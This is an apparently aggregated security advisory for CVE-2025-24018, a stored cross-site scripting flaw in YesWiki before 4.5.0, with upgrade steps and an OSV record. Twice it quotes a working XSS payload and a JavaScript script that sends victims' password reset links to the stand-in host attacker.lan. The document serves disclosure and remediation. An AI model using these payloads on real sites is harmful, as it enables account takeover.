CVE-2025-24018: Yeswiki/yeswiki Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-w59h-3x3q-3p6j
CVSS 7.6
CWE-79
Published
Advisory Summary

CVE-2025-24018 is a HIGH (CVSS 7.6) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves authenticated stored xss in yeswiki. Remediation is available by upgrading affected packages to version 4.5.0.

CVE-2025-24018 at a Glance

CVE Identifier CVE-2025-24018
GHSA Identifier GHSA-w59h-3x3q-3p6j
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Yeswiki/yeswiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2025-24018

To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.5.0
Upgrade yeswiki/yeswiki to 4.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-24018, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Authenticated Stored XSS in YesWiki <= 4.4.5 ### Summary It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded. This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (`doryphore-dev` branch, latest) - Docker environnment (`docker/docker-compose.yml`) - Docker v27.5.0 - Default installation ### Details The vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. This part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**. ```php public function showFileNotExits() { echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>'; } ``` The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser. ### PoC #### 1. Simple XSS Here is a working payload `{{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}}` tha works in pages and comments: On a comment: ![poc1](https://github.com/user-attachments/assets/dab6b08e-f542-41fd-872d-d221fd228229) ![poc2](https://github.com/user-attachments/assets/50eff326-df36-482b-be87-c4e3866497cf) On a page: ![poc3](https://github.com/user-attachments/assets/e9f4761a-6b7d-4508-aad5-21d4cedcd179) ![poc4](https://github.com/user-attachments/assets/7945b9bb-bc8e-4e01-86d7-bbba823ba67c) #### 2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS: ```javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); }) ``` Posting a comment using this specially crafted payload with a user account: ![poc5](https://github.com/user-attachments/assets/7c143b99-a81e-4834-9453-5be067e19521) Allows our administrator account's password reset link to be sent to the listener of the attacker: ![poc7](https://github.com/user-attachments/assets/bbf8c3e2-22a6-4a57-bc32-d6ca2e619cb9) ![poc8](https://github.com/user-attachments/assets/18d5cb6e-5085-4a87-91db-2afebf40c60a) Therefore giving us access to an successful password reset for any account triggering the XSS: ![poc9](https://github.com/user-attachments/assets/7e237b92-0bec-4754-b65c-59f70c010ef4) ### Impact This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance. ### Suggestion of possible corrective measures - Sanitize properly the filename attribute ```php public function showFileNotExits() { $filename = htmlspecialchars($this->file); echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>'; } ``` - Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token - Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) > The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

CVE-2025-24018 Affected Yeswiki/yeswiki Versions

1 component(s)
Fixed Versions:
4.5.0
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
< 4.5.0
4.5.0

References

Frequently Asked Questions

What is CVE-2025-24018?
CVE-2025-24018 is a security vulnerability in Yeswiki/yeswiki involving Authenticated Stored XSS in YesWiki under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Yeswiki/yeswiki versions are affected?
Affected versions include releases prior to 4.5.0 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2025-24018?
Upgrading to 4.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.5.0. Upgrade your dependency to 4.5.0 or later.
What is the CVSS score of CVE-2025-24018?
CVE-2025-24018 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L.
What CWE is associated with CVE-2025-24018?
CVE-2025-24018 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2025-24018?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w59h-3x3q-3p6j",
  "modified" : "2025-01-21T20:10:49Z",
  "published" : "2025-01-21T20:10:49Z",
  "aliases" : [ "CVE-2025-24018" ],
  "summary" : "Authenticated Stored XSS in YesWiki",
  "details" : "# Authenticated Stored XSS in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n    echo '<a href=\"' . $this->wiki->href('upload', $this->wiki->GetPageTag(), \"file=$this->file\") . '\" class=\"btn btn-primary\"><i class=\"fa fa-upload icon-upload icon-white\"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"<script>alert(document.domain)</script>\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n![poc1](https://github.com/user-attachments/assets/dab6b08e-f542-41fd-872d-d221fd228229)\n![poc2](https://github.com/user-attachments/assets/50eff326-df36-482b-be87-c4e3866497cf)\n\n\nOn a page:\n\n![poc3](https://github.com/user-attachments/assets/e9f4761a-6b7d-4508-aad5-21d4cedcd179)\n![poc4](https://github.com/user-attachments/assets/7945b9bb-bc8e-4e01-86d7-bbba823ba67c)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n  .then(response => {\n    return response.text();\n  })\n  .then(htmlString => {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, 'text/html');\n    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n![poc5](https://github.com/user-attachments/assets/7c143b99-a81e-4834-9453-5be067e19521)\n\nAllows our administrator account's password reset link to be sent to the listener of the attacker:\n\n![poc7](https://github.com/user-attachments/assets/bbf8c3e2-22a6-4a57-bc32-d6ca2e619cb9)\n![poc8](https://github.com/user-attachments/assets/18d5cb6e-5085-4a87-91db-2afebf40c60a)\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n![poc9](https://github.com/user-attachments/assets/7e237b92-0bec-4754-b65c-59f70c010ef4)\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n    $filename = htmlspecialchars($this->file);\n    echo '<a href=\"' . $this->wiki->href('upload', $this->wiki->GetPageTag(), \"file=$filename\") . '\" class=\"btn btn-primary\"><i class=\"fa fa-upload icon-upload icon-white\"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';\n}\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w59h-3x3q-3p6j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24018"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/blob/v4.4.5/tools/attach/libs/attach.lib.php#L660"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-21T20:10:49Z",
    "nvd_published_at" : "2025-01-21T17:15:16Z"
  }
}